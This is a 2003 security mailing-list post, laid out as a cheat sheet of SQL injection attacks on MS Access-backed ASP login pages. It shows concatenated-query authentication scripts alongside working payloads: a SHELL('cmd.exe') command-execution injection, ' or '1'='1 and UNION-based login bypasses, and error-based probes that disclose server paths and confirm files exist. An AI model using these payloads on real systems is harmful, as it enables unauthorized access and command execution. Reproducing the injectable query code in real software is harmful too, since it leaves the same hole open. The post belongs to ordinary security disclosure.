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Access SQL Injection
From: "Brett Moore" <brett.moore () security-assessment com>
Date: Mon, 19 May 2003 16:25:24 +1200


============================================================================
% Access SQL Injection
% brett.moore () security-assessment com
============================================================================

Nothing new here, move along..

****************************************************************************
% MS Access system tables
****************************************************************************
        MSysACEs
        MSysObjects
        MSysQueries
        MSysRelationships

****************************************************************************
% MS Access command execution, (older versions only)
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if

[Auth Page Bypass]

        user = |SHELL("cmd.exe /c dir > c:\test.txt")|
        pass = test

****************************************************************************
% Auth Bypass, Basic
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT * FROM users where pass='"& pass &"' and user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                ' Access Allowed
        end if

[Auth Page Bypass]

        user = ' or '1'='1
        pass = test

****************************************************************************
% Auth Bypass, Simple
****************************************************************************
[Auth Page Script]

        user = request("user")
        pass = request("pass")
        Set Conn = Server.CreateObject("ADODB.Connection")
        Set Rs = Server.CreateObject("ADODB.Recordset")
        Conn.Open dsn
        SQL = "SELECT user,pass FROM users where user='"& user & "'"
        rs.open sql,conn
        if rs.eof and rs.bof then
                ' Access Denied
        else
                if (rs("pass") = pass) then
                        ' Access Allowed
                else
                        ' Access Denied
                end if
        end if

[Auth Page Bypass Using Shares]

        user = ' union select name,password  from table1 in '\\share\test\test.mdb
        pass = password that is set in \\share\test\test.mdb

[Auth Page Bypass Local mdbs]

        user = ' union select '0test','0test' from customers in
'C:\winnt\Help\iisHelp\iis\htm\tutorial\eecustmr.mdb'
        pass = 0test

[Union Notes]

        Remeber when using unions the sort order can affect the first record
returned.

****************************************************************************
% System Path Disclosure
****************************************************************************
[Sql String]
        user = test' union select names from msysobjects in '.

[ODBC Response]

        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine
cannot
        open the file 'C:\WINNT\system32'. It is already opened exclusively by
another user,
        or you need permission to view its data.

****************************************************************************
% Verify File Exists
****************************************************************************
[Sql String - non-existant file]
        user = test' union select name from msysobjects in '\proof

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Could not find file 'C:\proof'.

[Sql String - existant]
        user = test' union select name from msysobjects in '\proof.txt

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Unrecognized database format
'C:\proof.txt'.

****************************************************************************
% Verify Path Exists
****************************************************************************
[Sql String - non-existant path]
        test' union select name from msysobjects in '\nopath\sqlerr

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] 'C:\nopath\sqlerr' is not a valid
path.
        Make sure that the path name is spelled correctly and that you are
connected to the
        server on which the file resides.

[Sql String - existant path]
        user = test' union select name from msysobjects in '\inetpub\sqlerr

[ODBC Response]
        Microsoft OLE DB Provider for ODBC Drivers (0x80004005)
        [Microsoft][ODBC Microsoft Access Driver] Could not find file
'C:\inetpub\sqlerr'.



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